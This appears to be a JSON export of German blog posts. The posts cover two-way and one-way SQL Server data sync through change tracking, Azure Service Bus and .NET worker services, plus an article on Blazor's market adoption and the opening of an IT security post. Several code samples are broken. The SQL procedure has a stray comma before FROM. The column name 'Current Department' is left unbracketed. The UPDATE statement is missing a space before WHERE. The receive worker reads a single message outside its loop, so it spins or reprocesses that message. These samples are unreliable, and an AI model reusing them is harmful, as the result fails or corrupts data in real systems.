Erstellen (Create) Ändern (Update) Löschen (Delete) Anpassen der Stored Procedure Die Stored Procedure wird um eine WHERE-Clause erweitert, in der geprüft wird, ob ein Änderungskontext (im Rahmen von Change Tracking) gesetzt wurde:\nALTER PROCEDURE [dbo].[GetEmplyeeChanges] @last_synchronization_version bigint AS SELECT CT.[Id], Employee.[Firstname], Employee.[Lastname], Employee.[Current Department], CT.SYS_CHANGE_OPERATION, CT.SYS_CHANGE_VERSION, CT.SYS_CHANGE_CREATION_VERSION, CT.SYS_CHANGE_CONTEXT, FROM CHANGETABLE(CHANGES Employee, @last_synchronization_version) AS CT LEFT OUTER JOIN [wf-sample].[dbo].[Employee] AS Employee ON CT.id = Employee.Id WHERE COALESCE(DATALENGTH(CT.SYS_CHANGE_CONTEXT), 0) = 0 1. Abruf der Änderungen vom Azure Service Bus Der erste Schritt der Empfangslogik bildet den Empfang von Änderungen über den Service Bus ab. Hierzu soll vom Service Bus auf dem jeweiligen Empfangs-Topic (in unserem Fall EmployeeThirdParty) eine Nachricht abgerufen werden.\nprivate async Task\u0026lt;ServiceBusReceivedMessage?\u0026gt; RecieveMessageAsync(CancellationToken stoppingToken) { var client = new ServiceBusClient(_serviceBusConnectionString); ServiceBusReceiver receiver = client.CreateReceiver(_serviceBusTopicName, \u0026#34;EmployeeThirdParty\u0026#34;, new ServiceBusReceiverOptions { ReceiveMode = ServiceBusReceiveMode.PeekLock }); return await receiver.ReceiveMessageAsync(cancellationToken: stoppingToken); } Im Worker selbst muss später geprüft werden, ob die Nachricht einen Inhalt hat oder leer (null) ist, bevor weitere Aktionen ausgeführt werden.\n2. Mappen der Domänen-Entität auf Ziel-Entität Nach dem Empfang der Nachricht vom Service Bus muss die Domänen-Entität auf die Zielentität gemappt werden. In unserem Fall umfasst das Ganze vier Attribute, die gemeinsam mit dem Deserialisieren der Nachricht umgesetzt wird:\nprivate EmployeeSource EmployeeMap2Domaintype(ServiceBusReceivedMessage message) { var employeeDomain = JsonSerializer.Deserialize\u0026lt;Employee\u0026gt;(message.Body.ToString()) ?? throw new Exception(\u0026#34;EmplyeeReceiver #### Read Changes from Service Bus #### Employee is NULL!\u0026#34;); return new EmployeeSource { Id = employeeDomain.Id, Firstname = employeeDomain.Firstname, Lastname = employeeDomain.Lastname, CurrentDepartment = employeeDomain.CurrentDepartment }; } 3. Speicherung Änderung in Datenbank Im letzten Schritt müssen die Änderungen auf die Datenbank angewandt werden. Hierzu gehören Methoden, mit denen man alle Operationen (Create, Update, Delete) durchführen kann. Der Aufbau ist jeweils sehr ähnlich: Es werden SQL-Transaktionen mit entsprechenden Operationen durchgeführt, welche im Fehlerfall einen Rollback ausführen. Dabei wird auch jeweils ein Änderungskontext gesetzt, welcher von der Stored Procedure, die für das Laden der Änderungen verwendet wird, berücksichtigt wird. Somit werden die einkommenden Änderungen nicht wieder abgerufen.\nErstellen (Create) private void InsertChangesToDB(EmployeeSource employee) { using (var sqlConnection = new SqlConnection(_databaseConnectionString)) { sqlConnection.Open(); SqlTransaction transaction = sqlConnection.BeginTransaction(); try { using (SqlCommand insertCommand = sqlConnection.CreateCommand()) { insertCommand.Transaction = transaction; // Insert Employee insertCommand.CommandText = \u0026#34;DECLARE @varSyncContext VARBINARY(100) = convert(varbinary, \u0026#39;Two-Way-Sync\u0026#39;); \u0026#34; + \u0026#34;WITH CHANGE_TRACKING_CONTEXT (@varSyncContext) \u0026#34; + \u0026#34;INSERT INTO [dbo].[Employee] ( \u0026#34; + \u0026#34;Firstname, \u0026#34; + \u0026#34;Lastname, \u0026#34; + \u0026#34;Current Department \u0026#34; + \u0026#34;) \u0026#34; + \u0026#34;VALUES ( \u0026#34; + \u0026#34;@Firstname, \u0026#34; + \u0026#34;@Lastname, \u0026#34; + \u0026#34;@CurrentDepartment \u0026#34; + \u0026#34;)\u0026#34;; insertCommand.Parameters.AddWithValue(\u0026#34;@Firstname\u0026#34;, employee.Firstname); insertCommand.Parameters.AddWithValue(\u0026#34;@Lastname\u0026#34;, employee.Lastname); insertCommand.Parameters.AddWithValue(\u0026#34;@CurrentDepartment\u0026#34;, employee.CurrentDepartment.ToString()); // Execute the INSERT-Command insertCommand.ExecuteNonQuery(); } transaction.Commit(); } catch (Exception ex) { // Transaction-Rollback on Error transaction.Rollback(); _logger.LogError(ex, \u0026#34;Error #### Processing Database Operations ### Rollback initiaded\u0026#34;); throw; } finally { sqlConnection.Close(); } } } Ändern (Update) private void UpdateChangesToDB(EmployeeSource employee) { using (var sqlConnection = new SqlConnection(_databaseConnectionString)) { sqlConnection.Open(); SqlTransaction transaction = sqlConnection.BeginTransaction(); try { using (SqlCommand updateCommand = sqlConnection.CreateCommand()) { updateCommand.Transaction = transaction; // Update Employee updateCommand.CommandText = \u0026#34;DECLARE @varSyncContext VARBINARY(100) = convert(varbinary, \u0026#39;Two-Way-Sync\u0026#39;); \u0026#34; + \u0026#34;WITH CHANGE_TRACKING_CONTEXT (@varSyncContext) \u0026#34; + \u0026#34;UPDATE [dbo].[Employee] \u0026#34; + \u0026#34;SET \u0026#34; + \u0026#34;Firstname = @Firstname, \u0026#34; + \u0026#34;Lastname = @Lastname, \u0026#34; + \u0026#34;Current Department = @CurrentDepartment\u0026#34; + \u0026#34;WHERE \u0026#34; + \u0026#34;Id = @Id;\u0026#34;; updateCommand.Parameters.AddWithValue(\u0026#34;@Id\u0026#34;, employee.Id); updateCommand.Parameters.AddWithValue(\u0026#34;@Firstname\u0026#34;, employee.Firstname); updateCommand.Parameters.AddWithValue(\u0026#34;@Lastname\u0026#34;, employee.Lastname); updateCommand.Parameters.AddWithValue(\u0026#34;@CurrentDepartment\u0026#34;, employee.CurrentDepartment.ToString()); // Execute the UPDATE-Command updateCommand.ExecuteNonQuery(); } transaction.Commit(); } catch (Exception ex) { // Transaction-Rollback on Error transaction.Rollback(); _logger.LogError(ex, \u0026#34;Error #### Processing Database Operations ### Rollback initiaded\u0026#34;); throw; } finally { sqlConnection.Close(); } } } Löschen (Delete) private void DeleteChangesToDB(EmployeeSource employee) { using (var sqlConnection = new SqlConnection(_databaseConnectionString)) { sqlConnection.Open(); SqlTransaction transaction = sqlConnection.BeginTransaction(); try { using (SqlCommand deleteCommand = sqlConnection.CreateCommand()) { deleteCommand.Transaction = transaction; // Delete Employee deleteCommand.CommandText = \u0026#34;DECLARE @varSyncContext VARBINARY(100) = convert(varbinary, \u0026#39;Two-Way-Sync\u0026#39;); \u0026#34; + \u0026#34;WITH CHANGE_TRACKING_CONTEXT (@varSyncContext) \u0026#34; + \u0026#34;DELETE FROM [dbo].[Employee] \u0026#34; + \u0026#34;WHERE \u0026#34; + \u0026#34;Id = @Id;\u0026#34;; deleteCommand.Parameters.AddWithValue(\u0026#34;@Id\u0026#34;, employee.Id); // Execute the DELETE-Command deleteCommand.ExecuteNonQuery(); } transaction.Commit(); } catch (Exception ex) { // Transaction-Rollback on Error transaction.Rollback(); _logger.LogError(ex, \u0026#34;Error #### Processing Database Operations ### Rollback initiaded\u0026#34;); throw; } finally { sqlConnection.Close(); } } } Anpassen Receive-Worker-Service für den Two-Way-Sync Der Worker Service für den Empfang sieht dann so aus:\nprotected override async Task ExecuteAsync(CancellationToken stoppingToken) { // 1. Abruf der Änderungen vom Azure Service Bus var message = await RecieveMessageAsync(stoppingToken); while (!stoppingToken.IsCancellationRequested) { if (message == null) { continue; } // 2. Mappen der Domänen-Entität auf Ziel-Entität var employee = EmployeeMap2Domaintype(message); var operationType = (string)message.ApplicationProperties[\u0026#34;OperationType\u0026#34;]; // 3. Änderung in Datenbank speichern switch (operationType) { case \u0026#34;I\u0026#34;: // Insert InsertChangesToDB(employee); break; case \u0026#34;U\u0026#34;: // Update UpdateChangesToDB(employee); break; case \u0026#34;D\u0026#34;: // Delete DeleteChangesToDB(employee); break; default: break; } _logger.LogInformation(\u0026#34;EmplyeeReceiver #### Wait 5 Seconds\u0026#34;); // Wait 5 seconds await Task.Delay(TimeSpan.FromSeconds(5), stoppingToken); } } Der Worker Service lädt die Nachricht vom Service Bus und mappt den Inhalt auf die Ziel-Entität. Durch die Angabe des Änderungstyps aus der Service-Bus-Nachricht wir die entsprechende Methode im switch-case aufgerufen und eine Datenbankooperation ausgeführt. Durch das Setzen des Änderungskontextes wird der aktualisierte Datensatz vom Change Tracking bzw. der dazugehörenden Stored Procedure beim Senden ignoriert. So entstehen keine Endlosschleifen.\nDie Konflikterkennung wurde in diesem Beitrag nur erwähnt, aber nicht in der Implementierung berücksichtigt. Da die Konflikterkennung mitunter sehr komplex werden kann, möchte ich dieses Thema in einem zukünftigen Blogbeitrag behandeln.\n","date":"21. Dezember 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/twoway-sync_hufad68abf6107ffc2ef859ebe1b42b6e2_866549_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/twoway-sync_hufad68abf6107ffc2ef859ebe1b42b6e2_866549_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/datenmigration-mit-dem-sql-server-bidirektionaler-datenverkehr/","tags":["tooling",".net","backend"],"title":"Datenmigration mit dem SQL-Server: bidirektionaler Datenverkehr"},{"categories":["Serien"],"contents":"In den ersten beiden Beiträgen dieser Reihe wurde erkundet, was Blazor ist und wie die unterschiedlichen Hosting-Modelle funktionieren. Dabei wurde festgestellt, dass Blazor ein solides und innovatives Framework für die Web-Entwicklung ist.\nTeil 1: Blazor – das Web-Framework von Microsoft Teil 2: Blazor – Hosting-Modelle Trotz der vielversprechenden Eigenschaften scheint es, dass Blazor bisher nicht seinen Platz in der Welt der Web-Frameworks gefunden hat. In diesem dritten Teil wird genauer betrachtet, wie sich Blazor im Vergleich zu anderen Web-Frameworks positioniert und welche Zukunftsaussichten es hat.\nMarktanteile von Web-Frameworks Die Web-Entwicklung ist von einer Vielzahl von Frameworks geprägt, die unterschiedlich stark auf dem Markt verbreitet sind. In der nachfolgend darstellten Statistik von Juni 2023 von Statista wurde ermittelt, welche dieser Web-Frameworks Entwickler nutzen (Mehrfachnennung möglich). Node.js führt dabei mit Platz 1 und React mit Platz 2 die Rangliste an. Im Vergleich dazu liegt Blazor auf Platz 20. Diese Platzierung wirkt zunächst sehr bescheiden und wirft die Frage auf, ob Blazor jemals einen Platz unter den Spitzenreitern erreichen kann.\nDie Daten von Web-Analyse-Tools werfen zusätzliches Licht auf die Position von Blazor im Vergleich zu anderen Web-Frameworks. Beispielsweise analysiert die Seite Webtechsurvey.com öffentlichen Webseiten mit definierbarem Web-Framework und hat ebenfalls ermittelt, dass React eine Spitzenposition einnimmt. Blazor verweilt währenddessen lediglich auf Platz 40. Diese Zahlen bestätigen die bisherigen Erkenntnisse und unterstreichen die Herausforderungen, denen Blazor gegenübersteht.\nAdaption von Blazor Die vorhergehende Betrachtung der Statistiken verdeutlicht, dass Blazor in der Web-Entwicklergemeinschaft noch keinen nennenswerten Stellenwert erreicht hat. Eine interessante Beobachtung dabei ist jedoch, dass in allen Statistiken .NET sowie zugehörige Web-Frameworks wie ASP.NET MVC und ASP.NET Razor Pages deutlich bessere Platzierungen als Blazor erreichen. Es besteht somit eine hohe Wahrscheinlichkeit, dass Blazor im Laufe der Zeit deren Position und Anteile übernimmt. Denn es wäre für Entwickler und Unternehmen, die bereits auf .NET-Technologien setzen, strategisch sinnvoll, die bestehende Basis zu erhalten und parallel auf das neue .NET-Web-Framework Blazor umzusteigen.\nEin solcher Umstieg ermöglicht einen nahtlosen Transfer von Systemen, Infrastruktur, Know-how und Quellcode. Infolgedessen ist anzunehmen, dass im Laufe der Zeit ein Großteil der bisherigen .NET-Webanwendungen auf Blazor migriert wird, insbesondere wenn ältere .NET-Web-Frameworks ihr End-of-Life erreichen. Durch diese Adaption könnte Blazor somit sehr schnell in eine der Spitzenpositionen gelangen. Doch welche Schritte unternimmt Microsoft, um diese Adaption zu fördern und die Marktanteile von Blazor auszubauen und Blazor als Gamechanger in der Web-Entwicklung zu etablieren?\nEtablierung von Blazor Die Etablierung und somit auch die Zukunft von Blazor wird durch verschiedene entscheidende Faktoren geprägt. Eine zentrale Rolle spielt dabei die stetig zunehmende Präsenz, die sich in verschiedenen Bereichen abzeichnet - sei es in Fachzeitschriften, auf Konferenzen und Veranstaltungen, in sozialen Medien, in Entwicklergemeinschaften oder weiteren Bereichen. Diese gesteigerte Sichtbarkeit trägt dazu bei, Blazor als relevantes und aufstrebendes Web-Framework zu positionieren.\nLetztendlich resultiert diese Aufmerksamkeit jedoch durch die kontinuierliche Weiterentwicklung von Blazor. Dabei spielt insbesondere das kürzlich veröffentlichte .NET 8 eine entscheidende Rolle, welche diversen Optimierungen mit sich gebracht hat, wie zum Beispiel im Bereich Performance und Tooling. Einer der größten Meilensteine ist jedoch die Einführung von „Rendermodes“. Diese definieren, wie Komponenten gerendert werden und beeinflussen somit die Wahl des Hosting-Modells. Dabei stehen verschiedene Optionen zur Verfügung.\nOptionen bei der Wahl des Hosting-Modells Static server: In diesem Modus werden Inhalte rein server-seitig und statisch gerendert. Dies bringt diverse Vorteile mit sich, wie eine erhöhte Performance und niedrigere Last auf dem Server (keine WebSocket-Verbindungen) sowie bei dem Client (kein WebAssembly). Im Gegensatz zu Interactive Server wird dabei jedoch keine umfassende Interaktivität geboten.\n✔ Durch seine Eigenschaften ist es noch enger mit ASP.NET MVC verwandt als Blazor Server (siehe vorheriger Blogbeitrag) .\n✔ Es bietet diverse Vorteile im Vergleich zu ASP.NET MVC wie beispielsweise ein echtes Komponentenmodell oder auch Streaming Rendering, die für ein SPA-ähnliches Erlebnis sorgen, trotz statischer Inhalte.\n✔ Für dieses Modell bestehen gute Chancen, dass es ASP.NET MVC ablösen und sich selbst etablieren wird.\nInteractive Server: Dieser Modus entspricht Blazor Server (siehe vorheriger Blogbeitrag) .\nInteractive WebAssembly: Dieser Modus entspricht Blazor WebAssembly Hosted, welches auf einer .NET-Umgebung ausgeführt wird. Dies unterscheidet sich zu Blazor WebAssembly Standalone (siehe vorheriger Blogbeitrag) , welches auf einem Static File Sever betrieben werden kann. Beide Optionen existieren weiterhin parallel.\nInteractive Auto: In diesem Modus wird die Anwendung beim ersten Aufruf mit Interactive Server geladen und cacht im Hintergrund die WebAssembly-Daten. Sobald die Daten erfolgreich geladen wurden, erfolgt eine automatische Umstellung, sodass bei den folgenden Aufrufen Interactive WebAssembly genutzt wird.\n✔ Dieser hybride Ansatz bietet eine effektive Lösung für das Problem der vergleichsweisen langen initialen Ladezeit bei WebAssembly.\n✔ Ein solcher Lösungsansatz kann dazu beitragen, WebAssembly für Entwickler attraktiver zu machen und somit seine Präsenz und Verwendung in der Entwicklergemeinschaft weiter zu festigen.\nZudem kann auch der Geltungsbereich der jeweiligen Rendermodes definiert werden. Statt wie bisher nur anwendungsweit (Global Interactivity) kann nun innerhalb einer Anwendung festgelegt werden, dass bestimmte Seiten (Page Interactivity) oder Komponenten (Component Interactivity) mit einem der genannten Rendermodes ausgeführt werden sollen.\n✔ Indem Entwickler innerhalb einer Anwendung je nach Anforderungen zwischen server- und client-seitigem Rendern wechseln können, passt sich Blazor besser an unterschiedliche Use-Cases an und stärkt somit seine Positionierung in der Webentwicklung.\nAngesichts dieser kleinen Auswahl an positiven Entwicklungen, der kontinuierlichen Weiterentwicklung durch Microsoft und der allgemein steigenden Präsenz zeichnet sich Blazor als vielversprechendes und zukunftsweisendes Web-Framework ab. Es wird nicht nur durch seine technologische Fortschrittlichkeit, sondern auch durch eine engagierte und wachsende Gemeinschaft getragen. Es bleibt spannend zu beobachten, welche weiteren Meilensteine dieses Framework in Zukunft erreichen wird.\nFazit zur Marktakzeptanz des Web-Frameworks Blazor Blazor präsentiert sich als vielversprechendes Web-Framework. Trotz seiner soliden Eigenschaften und innovativen Ansätze konnte es jedoch noch nicht den gleichen Grad der Etablierung und Akzeptanz erreichen wie seine Konkurrenten. Dies könnte sich jedoch durch die Weiterentwicklung des Frameworks ändern. Die Neuerungen aus dem kürzlich veröffentlichten .NET 8 können beispielsweise einen signifikanten Wendepunkt darstellen. Insbesondere wenn dadurch bestehende .NET-Web-Anwendungen von Blazor als neues .NET-Web-Framework abgelöst werden. Die Zukunftsaussichten von Blazor werden jedoch nicht nur von der technologischen Weiterentwicklung und der stetig wachsenden Community abhängen, sondern auch von seiner Fähigkeit, sich als fortschrittliches und integratives Framework in der Welt von .NET zu positionieren.\n","date":"14. Dezember 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/blazor-marktakzeptanz_hu973be688c070007f5d3637d81047bda7_45684_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/blazor-marktakzeptanz_hu973be688c070007f5d3637d81047bda7_45684_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/blazor-marktakzeptanz-und-etablierung/","tags":[".net","microsoft-365"],"title":"Blazor – Marktakzeptanz und -etablierung"},{"categories":["How-To"],"contents":"In meinem letzten Beitrag habe ich gezeigt, wie man bei einer Datenmigration vom SQL-Server mithilfe von den hauseigenen Boardmitteln in Form von Change Tracking Funktionalitäten erhält, die einen bei diesem Unterfangen unterstützen. Falls man hierzu nochmal nachlesen, dann hier entlang .\nIn diesem Beitrag möchte ich mich auf den nächsten Migrationsschritt fokussieren. Hierzu gehört das Abrufen der Daten in Bezug auf die festgestellten Änderungen vom SQL-Server und dem Weiterleiten an Drittsysteme.\nDatenabruf vom SQL-Server: One-Way-Sync Der Abruf in eine Richtung wird auch als One-Way-Synchronisation bezeichnet. Zu den Aufgaben gehören u. a. folgende:\nAbruf der geänderten Datensätze vom SQL-Server Mappen auf eine Domänen-Entität Senden der Daten an eine Middleware Wahl der Technologie: Worker Service Nun stellt sich die Frage, wie die Daten abgerufen werden sollen. Genauer gesagt, welche Technologie man dazu nutzt. Üblicherweise würde die Wahl hier entweder auf ein Konsolenprogramm oder auf eine Azure Function fallen. Da wir im gewählten Szenario aber von einem OnPrem-SQL-Server ausgehen können, eigenen sich Technologien, die sowohl im OnPrem- als auch im Cloud-Umfeld (z. B. Azure) funktionieren. Diese Anforderungen erfüllt der Worker Service voll und ganz.\nDer Worker Service eignet sich besonderes für die Erstellung von langwierigen Aufgaben, wie u.a. das Ausführen von zeitbasierten Vorgängen nach einem Zeitplan. Der größte Vorteil hierbei ist die Unabhängigkeit zu Windows als Host-System. Man kann somit plattformübergreifende Hintergrunddienste entwickeln und benötigt lediglich .NET 6 oder höher, um direkt zu starten.\nDemo mit dem Worker Service Bevor wir mit der eigentlichen Implementierung einsteigen, möchte ich den groben Ablauf skizzieren:\nAbruf der letzten Sync-Version (SYS_CHANGE_VERSION) Abruf der Änderungen von der Datenbank Mappen der Daten auf ein gemeinsames Domänen-Objekt Senden der gemappten Daten an eine Middleware Speichern der neuen Sync-Version Gemeinsames Domänen-Objekt Das gemeinsame Domänen-Objekt wird verwendet, um Daten aus dem Quell- und Zielsystem auf eine gemeinsame Datenbasis zu heben. In unserem Beispiel sähe das so aus:\nnamespace Blog_Sync.Domain { public class Employee { public int? Id { get; set; } public string Firstname { get; set; } public string Lastname { get; set; } public Department CurrentDepartment { get; set; } } public enum Department { None, IT, Marketing, Finanzen, Facility } } Stored Procedure Als Basis für unseren Datenabruf verwende ich eine Stored Procedure, die sowohl Änderungsinformationen aus dem Change Tracking enthält, als auch den Payload für die Entität (Employee), die wir abrufen möchten.\nCREATE PROCEDURE [dbo].[GetEmplyeeChanges] @last_synchronization_version bigint AS SELECT CT.[Id], Employee.[Firstname], Employee.[Lastname], Employee.[Current Department], CT.SYS_CHANGE_OPERATION, CT.SYS_CHANGE_VERSION, CT.SYS_CHANGE_CREATION_VERSION FROM CHANGETABLE(CHANGES Employee, @last_synchronization_version) AS CT LEFT OUTER JOIN [wf-sample].[dbo].[Employee] AS Employee ON CT.id = Employee.Id 1. Abruf der letzten Sync-Version Die Sync-Version wird dazu verwendet, um immer die aktuellsten Änderungen der Datenbank abzurufen. Damit nicht immer alles, sondern nur die noch nicht abgerufenen Änderungen abgerufen wird, speichern wir die letzte bekannte Versionsnummer in eine JSON-Datei.\nDie entsprechende Datei (EmployeeVersion.json) sieht dann so aus:\n{ \u0026#34;EmployeeVersion\u0026#34;: 0 } Das Auslesen kann auf folgende Art und Weise abgebildet werden:\nprivate long LoadLastSyncVersion() { // load and read Json-File var filePath = Path.Combine(Directory.GetCurrentDirectory(), \u0026#34;SyncVersions\u0026#34;, \u0026#34;EmployeeVersion.json\u0026#34;); var jsonContent = File.ReadAllText(filePath); var jsonObject = JsonNode.Parse(jsonContent).AsObject(); var lastSyncVersion = (long)jsonObject[\u0026#34;EmployeeVersion\u0026#34;]; _logger.LogInformation(\u0026#34;EmplyeeSender #### Read #### Change Tracking #### Version: {0}\u0026#34;, lastSyncVersion); return lastSyncVersion; } 2. Abruf der Änderungen von der Datenbank Mit der ermittelten Version kann nun auf die Stored Procedure zugegriffen werden, um die Änderungen aus der Datenbank abzurufen:\nprivate List\u0026lt;EmployeeSource\u0026gt; LoadChangesForEmplyoeeFromDatabase(long lastSyncVersion) { var employeeEntityList = new List\u0026lt;EmployeeSource\u0026gt;(); try { using (var sqlConnection = new SqlConnection(_databaseConnectionString)) { sqlConnection.Open(); using (var command = new SqlCommand(_databaseStoredProcedureName, sqlConnection)) { command.CommandType = CommandType.StoredProcedure; command.Parameters.AddWithValue(\u0026#34;@last_synchronization_version\u0026#34;, lastSyncVersion); using (var reader = command.ExecuteReader()) { if (reader.HasRows) { while (reader.Read()) { employeeEntityList.Add(new EmployeeSource { Id = reader.IsDBNull(0) ? null : reader.GetInt32(0), Firstname = reader.IsDBNull(1) ? null : reader.GetString(1), Lastname = reader.IsDBNull(2) ? null : reader.GetString(2), CurrentDepartment = reader.IsDBNull(3) ? null : (Department)Enum.Parse(typeof(Department), reader.GetString(3)), SYS_CHANGE_OPERATION = reader.IsDBNull(4) ? null : reader.GetString(4), SYS_CHANGE_VERSION = reader.IsDBNull(5) ? null : reader.GetInt64(5), SYS_CHANGE_CREATION_VERSION = reader.IsDBNull(6) ? null : reader.GetInt64(6), }); } } } } sqlConnection.Close(); } } catch (Exception ex) { _logger.LogError(ex, \u0026#34;Error #### Processing Database Operations\u0026#34;); } return employeeEntityList; } Die Daten werden übrigens in ein Zwischenobjekt (EmployeeSource) gespeichert:\npublic class EmployeeSource { public int? Id { get; set; } public string? Firstname { get; set; } public string? Lastname { get; set; } public Department? CurrentDepartment { get; set; } public string? SYS_CHANGE_OPERATION { get; set; } public long? SYS_CHANGE_VERSION { get; set; } public long? SYS_CHANGE_CREATION_VERSION { get; set; } } 3. Mappen der Daten auf ein gemeinsames Domänen-Objekt Nach dem Laden der Quelldaten müssen diese zunächst in ein einheitliches Format gebracht werden. Hierzu können neben gängigen Bibliotheken wie Automapper auch eigene Mapping-Funktionalität verwendet werden.\nIn diesem Fall greife ich auf eine eigene Implementierung zurück:\nprivate Employee MapDatabaseToDomainEntity(EmployeeSource employeeDatabase) { return new Employee { Id = (int)employeeDatabase.Id, Firstname = (string)employeeDatabase.Firstname, Lastname = (string)employeeDatabase.Lastname, CurrentDepartment = (Department)employeeDatabase.CurrentDepartment, }; } 4. Senden der gemappten Daten an eine Middleware Nun können die Daten in Domänenrepräsentation an eine Middleware weitergeleitet werden. Das hat den Vorteil, dass der Sende- und Empfangsvorgang hierdurch entkoppelt wird. In Azure eignet sich hierfür z. B. der Service Bus. Durch das Pub-Sub-Prinzip können Nachrichten an ein Thema (engl. Topic) (in diesem Fall emplyeeDatabase) gesendet werden. Drittsysteme, die diese Daten empfangen möchten, müssen sich lediglich für dieses Thema abonnieren (engl. subscribe). Zusätzlich zum Nachrichteninhalt (Payload der Employee-Entität) wird der Nachricht noch eine Meta-Information hinzugefügt, die den Änderungstyp (Erstellung, Aktualisierung, Löschung) angibt, damit die Drittsysteme eine entsprechende Anpassung ihrer Daten durchführen können.\nDas Senden auf den Service Bus führt auch die zuvor implementierte Mapping-Logik aus:\nprivate async Task SendEmployeesToServiceBus(List\u0026lt;EmployeeSource\u0026gt; employeeSourceList) { var client = new ServiceBusClient(_serviceBusConnectionString); var sender = client.CreateSender(\u0026#34;emplyeeDatabase\u0026#34;); try { foreach (var employeeSource in employeeSourceList) { var employeeJson = JsonSerializer.Serialize(MapDatabaseToDomainEntity(employeeSource)); var serviceBusMessage = new ServiceBusMessage(employeeJson); serviceBusMessage.ApplicationProperties.Add(\u0026#34;OperationType\u0026#34;, employeeSource.SYS_CHANGE_OPERATION); await sender.SendMessageAsync(serviceBusMessage); _logger.LogInformation($\u0026#34;EmplyeeSender #### Emplyoee sent #### SB topic \u0026#39;{_serviceBusTopicName} #### ID: \u0026#39;{employeeSource.Id}\u0026#39;\u0026#34;); } } finally { await sender.DisposeAsync(); await client.DisposeAsync(); } } 5. Speichern der neuen Sync-Version Zu guter Letzt wird die neue Sync-Version in der JSON-Datei abgespeichert:\nprivate void SaveLastSyncVersion(long lastSyncVersion) { // load and read Json-File var filePath = Path.Combine(Directory.GetCurrentDirectory(), \u0026#34;SyncVersions\u0026#34;, \u0026#34;EmployeeVersion.json\u0026#34;); var jsonContent = File.ReadAllText(filePath); var jsonObject = JsonNode.Parse(jsonContent).AsObject(); jsonObject[\u0026#34;EmployeeVersion\u0026#34;] = lastSyncVersion; var updatedJson = jsonObject.ToJsonString(); File.WriteAllText(filePath, updatedJson); _logger.LogInformation(\u0026#34;EmplyeeSender #### Read #### Change Tracking #### Version: {0}\u0026#34;, lastSyncVersion); } Das Ermitteln der neuen Sync-Version erfolgt im Worker selbst.\nAbruf der Methoden im Worker Service Die zuvor erstellten Methoden werden nun im Worker Service aufgerufen. Der Ablauf ist im Folgenden dargestellt:\nprotected override async Task ExecuteAsync(CancellationToken stoppingToken) { while (!stoppingToken.IsCancellationRequested) { // 1. Abruf der letzten Sync-Version var lastSyncVersion = LoadLastSyncVersion(); // 2. Abruf der Änderungen von der Datenbank var employeeChangesList = LoadChangesForEmplyoeeFromDatabase(lastSyncVersion); if (employeeChangesList.Count != 0) { _logger.LogInformation($\u0026#34;EmplyeeSender #### Changes Detected #### Count: {employeeChangesList.Count}\u0026#34;); // 3. Mappen der Daten auf ein gemeinsames Domänen-Objekt // 4. Senden der gemappten Daten an eine Middleware await SendEmployeesToServiceBus(employeeChangesList); // Determine new SyncVersion var newSyncVersion = (long)employeeChangesList.Max(x =\u0026gt; x.SYS_CHANGE_VERSION); // 5. Speichern der neuen Sync-Version SaveLastSyncVersion(newSyncVersion); } _logger.LogInformation(\u0026#34;EmplyeeSender #### Wait 5 Seconds\u0026#34;); // Wait 5 seconds await Task.Delay(TimeSpan.FromSeconds(5), stoppingToken); } } Der Worker Service lädt zunächst die Change-Tracking-Versionsnummer aus der JSON-Datei und ruft anschließend die Änderungen aus der Datenbank ab. Die ermittelten Datensätze werden dann auf die allgemeingültige Domänenrepräsentation gemappt und an eine Middleware (in unserem Fall Azure Service Bus) gesendet. Die neue Change-Tracking-Versionsnummer wird zum Schluss in der JSON-Datei für den nächsten Durchlauf aktualisiert und der Worker Service wartet 5 Sekunden bis zum nächsten Durchlauf. Je nach Datenmenge bzw. Änderungen, welche sich in der SQL-Datenbank ergeben, kann dieser Wert hoch oder heruntergesetzt werden.\n","date":"7. Dezember 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/oneway-sync_hu45b6f00fc7702293d11d22bb8f6be0c9_44397_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/oneway-sync_hu45b6f00fc7702293d11d22bb8f6be0c9_44397_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/datenmigration-mit-dem-sql-server-daten-in-der-einbahnstra%C3%9Fe/","tags":["tooling",".net","backend"],"title":"Datenmigration mit dem SQL-Server: Daten in der Einbahnstraße"},{"categories":["How To","Insights"],"contents":"Warum ist IT-Sicherheit wichtig? IT-Sicherheit geht uns alle an. Die Verantwortung für den Schutz der IT-Infrastruktur und der Daten in Unternehmen und von Kunden liegt in der Verantwortung jedes einzelnen Mitarbeiters. In der heutigen digitalen Welt spielen IT-Systeme eine entscheidende Rolle in fast allen Geschäftsbereichen. Ein Verstoß gegen die IT-Sicherheit kann nicht nur zu einem erheblichen finanziellen Schaden führen, sondern auch das Vertrauen der Kunden beeinträchtigen und dem Ruf des Unternehmens schaden. Durch Diebstahl von IT-Ausrüstung und Daten sowie durch Industriespionage und Sabotage entstehen laut einer Bitkom-Umfrage der deutschen Wirtschaft dieses Jahr 206 Milliarden Euro Schaden. Und die Lieblingszahl: Laut dem Microsoft Digital Defense Report aus dem Jahr 2023 gab es 4.000 Passwort-Angriffe pro Sekunde alleine auf die Microsoft-Cloud, die wo möglich zu großen Teilen auf Phishing-Attacken zurückzuführen sind.\nIn diesem Blog-Beitrag 